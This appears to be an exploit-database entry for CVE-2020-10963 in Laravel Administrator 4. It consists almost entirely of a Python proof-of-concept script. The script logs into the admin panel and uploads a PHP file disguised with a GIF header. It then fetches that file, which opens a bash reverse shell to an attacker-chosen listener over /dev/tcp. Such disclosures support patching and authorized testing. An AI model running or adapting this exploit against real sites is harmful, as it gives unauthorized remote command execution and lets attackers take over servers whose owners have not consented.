Laravel Administrator 4 – Unrestricted File Upload (Authenticated)
# Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated) # Author: Victor Campos and Xavi Beltran # Contact: vcmartin@protonmail.com # Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/ # Date: 25/3/2020 # Software link: https://github.com/FrozenNode/Laravel-Administrator/ # Version : 4 # Tested on: Laravel-Administrator 4 # CVE : CVE-2020-10963 #!/usr/bin/env python import requests,json,traceback from requests.auth import HTTPBasicAuth #Parameters to be set up (ENTER YOUR VALUES) #=========================================== # Listener IP and port ip = "" port = "" #Admin credentials user = "" password = "" #URLs of the web application domain = "" # For example "https://www.example.com" login_url = "" # For example "/user/login" fileupload_url = "" # For example "/admin/categories/image/file_upload" uploaded_files_url = "" # For example "/categories/images" #Reverse shell payload (DO NOT MODIFY THIS SECTION) #================================================== #GIF file header shell = "GIF89a\r\n" #php reverse shell shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n" with requests.Session() as s: try: print("\n[+] Logging into the panel") s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'}) print("[+] Uploading the malicious file") r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)}) print("[+] Response text:") #print(r.text) shell_file = (json.loads(r.text))["filename"] print("[+] Name of uploaded file: " + shell_file) print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...") r = s.get(domain + uploaded_files_url + '/' + shell_file) except Exception as e: print(str(traceback.format_exc())) |